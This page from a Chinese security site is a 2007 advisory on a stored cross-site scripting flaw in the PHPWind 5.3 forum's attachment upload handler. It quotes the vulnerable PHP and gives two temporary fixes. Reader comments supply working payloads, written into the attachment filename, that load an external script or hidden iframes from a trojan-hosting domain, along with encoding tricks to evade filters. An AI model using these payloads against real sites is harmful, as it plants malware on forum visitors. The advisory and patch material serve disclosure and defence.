文章 | 入侵攻击 | 安全防御 | 操作系统 | 网站建设 | 网络编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程
论坛 | 黑客军火 | 配服务器 | 黑客情感 | 免费资源 | 美女贴图 | 灌水无罪 | 在线服务 | 会员照片 | 网站首页
 当前位置:主页 >> 安全公告 >> 漏洞公告 >> 文章内容  
 

 
PHPWind论坛5.3版postupload.php附件文件名跨站脚本漏洞(XSS)

www.hx99.org 阅读: 时间:2007-07-09 整理:华西黑盟
------------------------------------------------------------------
 文章作者:EvilOctal[E.S.T]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注意:这只是个漏洞公告并不是通常意义的原创,因此以执行帐号发布。感谢碎片、老周、ring04h等成员的讨论。邪恶八进制信息安全团队已经将该漏洞提交给PHPWind官方。

PHPWindForumsv5.3postupload.phpCrossSiteScript(XSS)
PHPWind论坛5.3版postupload.php文件跨站脚本漏洞(XSS)

漏洞产生:
require\postupload.php文件对atc_attachment_name变量过滤不严,导致跨站脚本执行漏洞,可能引起站点被嵌入恶意代码。
记忆碎片最早提供了一个测试效果:

漏洞代码分析:
以下是require\postupload.php文件引起问题的源代码: ……
 $source=$db_ifftp?$db_ftpweb."/".$fileuplodeurl:$attachdir.'/'.$fileuplodeurl;
 //版块id_文件名_时间.类型
 if($db_ifftp){
 $ftpsize=$ftp->upload($atc_attachment,$fileuplodeurl);
 }elseif(!postupload($atc_attachment,$source)){
 Showmsg('upload_error');
 }
 if(eregi("\.(gif|jpg|png|bmp|swf)$",$atc_attachment_name)&&function_exists('getimagesize')){//这里只过滤了扩展名
 if(!$img_size=getimagesize($source)){
 $db_ifftp?$ftp->delete($fileuplodeurl):P_unlink($source);
 Showmsg('upload_content_error');
 }
 if(!$db_ifftp&&$attach_ext!='swf'&&$db_watermark&&$img_size[0]>$db_waterwidth&&$img_size[1]>$db_waterheight){
 if(function_exists('imagecreatefromgif')&&function_exists('imagealphablending')&&($attach_ext!='gif'||function_exists('imagegif')&&($db_ifgif==2||$db_ifgif==1&&in_array(PHP_VERSION,array('4.4.3','4.4.4','5.1.5'))))&&($db_waterimg&&function_exists('imagecopymerge')||!$db_waterimg&&function_exists('imagettfbbox'))){
 require_once(R_P.'require/watermark.php');ImgWaterMark($source,$db_waterpos,$db_waterimg,$db_watertext,$db_waterfont,$db_watercolor,$db_waterpct,$db_jpgquality);
 }
 }
 }
 if(eregi("\.(gif|jpg|jpeg|png|bmp|swf)$",$atc_attachment_name)){//这里只过滤了扩展名
 $ifupload=1;
 if(eregi("\.swf$",$atc_attachment_name)){//这里只过滤了扩展名
 $type='zip';
 }else{
 $type='img';
 }
 }elseif(eregi("\.(zip|rar)$",$atc_attachment_name)){//这里只过滤了扩展名
 $ifupload=3;
 $type='zip';
 }elseif(eregi("\.txt$",$atc_attachment_name)){//这里只过滤了扩展名
 $safecheckdb=$db_ifftp?(function_exists('file_get_contents')?file_get_contents($source):''):readover($source);
 if(strpos($safecheckdb,"onload")!==false&&strpos($safecheckdb,"submit")!==false&&strpos($safecheckdb,"post")!==false&&strpos($safecheckdb,"form")!==false){
 $db_ifftp?$ftp->delete($fileuplodeurl):P_unlink($source);
 Showmsg('upload_content_error');
 }else{
 $ifupload=2;
 $type='txt';
 }
 }else{
 $ifupload=3;
 $type='zip';
 }
 $size=$db_ifftp?ceil($ftpsize/1024):ceil(filesize("$attachdir/$fileuplodeurl")/1024);
 $atc_attachment_name=addslashes($atc_attachment_name);
 if($ifreplace==0){//下面已经准备提交到数据库
 $db->update("INSERTINTOpw_attachsSETfid='$fid',uid='$winduid',hits=0,name='$atc_attachment_name',type='$type',size='$size',attachurl='$fileuplodeurl',needrvrc='$needrvrc',uploadtime='$timestamp',descrip='$descrip'");
 $aid=$db->insert_id();
 $attachs[$aid]=array(
 'aid'=>$aid,
 'name'=>stripslashes($atc_attachment_name),//取出转译斜线便于入库
 'type'=>$type,
 'attachurl'=>$fileuplodeurl,
 'needrvrc'=>$needrvrc,
 'size'=>$size,
 'hits'=>0,
 'desc'=>str_replace('\\','',$descrip)
 );
 }else{
 $aid=$replacedb[$i]['aid'];
 $db->update("UPDATEpw_attachsSETname='$atc_attachment_name',type='$type',size='$size',attachurl='$fileuplodeurl',needrvrc='$needrvrc',uploadtime='$timestamp',descrip='$descrip'WHEREaid='$aid'");
 $oldattach[$aid]['name']=$atc_attachment_name;
 $oldattach[$aid]['type']=$type;
 $oldattach[$aid]['size']=$size;
 }
}
……
可以看到postupload.php文件没有对atc_attachment_name这个变量提交的名字进行过滤。

漏洞测试:
只要在附件提交的地址框(不是描述框)填写精心构造的恶意跨站脚本即可实现跨站测试,可被别有用心者用来挂马等。
测试方法一下面是zhouzhen提供的测试代码加图片:

老周的代码明文内容如下: D:\zhouzhen<imgsrc=http://forum.eviloctal.com/p_w_picpath/wind/logo.png>XXS.rar

因为不能出现//等字符,可以采用ASSIC编码,将可以嵌入恶意脚本。

临时修补:
修补方法一正则表达式:
在源文件的代码151行后(也就是上面代码块的45行后),也就是在MySQL的查询被执行之前,做一次最后的文件名过滤。 if(isset($atc_attachment_name)){
 if(!eregi("^[_a-z0-9-]+\.(gif|jpg|jpeg|png|bmp|zip|rar|gz|tgz|7z)$",$atc_attachment_name)){//扩展名允许规则请根据自己站点的情况自行更改
 echo"ESTNameFail!";
 exit;
 }
 }
修补方法二字符串替换:
临时解决跨站问题可以过滤掉尖括号符号,使脚本无法构成。
修改源文件的代码157行(也就是上面代码块的51行)为如下代码: $atc_attachment_name=stripslashes(str_replace("<","",$atc_attachment_name));

ring04h:
在附件处填写:
D:\ring04h:<SCRIPTSRC=http://www.diaonilaomu.com/x.js>XSS.rar
转换为ASSIC编码POST:


黑病毒:
不用远程调用JS文件,也可以直接达到挂马的效果如下
本地测试环境:phpwind5.0.1
D:\zhouzhen<iframesrc=http://www.muma.com/><%2Fiframe>XXS.rar

D:\zhouzhen<iframesrc=http://www.muma.com/test.htmwidth=0height=0><%2Fiframe>XXS.rar
过滤了/和",构造语句如上。
十六进制编码即可
   -------------------------------------------------------------------------------------------
  上一篇:LBS blog又一注射漏洞含漏洞解析和exp
  下一篇:动网8.0最新漏洞
   -------------------------------------------------------------------------------------------
用户名:
Email:
评论内容:
 
  精品推荐
Discuz! 6.0.0 0Day漏洞
视频语音聊天系统的漏洞
DVBBS 7.1.0 SP1博客远程
bbsxp上传注入漏洞
现代教务管理系统漏洞
MS05-055:Windows内核中
QQ幻想盗号器病毒 窃取游
沸腾新闻系统 V1.1 Access
动网8.0最新漏洞
NSFOCUS 2007年07月之十大
DNS漏洞攻击增多 微软忙着
mssql2005存手工注入漏洞
oblog商业版本4.6注射漏洞
PHPWind论坛5.3版postuplo
百度超级搜霸远程代码执行
DVBBS V7.1 SP1 Boke注入
DedeCMS最新版存在暴物理
QQ惊爆危险漏洞 360截获“
动易最新未公开漏洞
bo-blog2.0.3文件浏览漏洞
宁波都市网漏洞公告(通杀
Microsoft Internet Explo
乔客(joekoe) CMS 4.0 的2
雅虎窗件曝出缓冲区溢出漏
phpRPC库远程代码执行漏洞
关于我们 | 发展历程 | 在线投稿 | 核心监督 | 友情链接 | 网站地图 | 网站留言 | 联系我们
Copyright © 2004-2007 Www.Hx99.Net
版本:华西黑盟网站系统V5.0 Email:root#hx99.org
中国·西安·宝鸡 请使用IE6.0版本, 分辩率1024×768进行浏览
版权所有 任意抄袭 注意完整
陕ICP备06000444号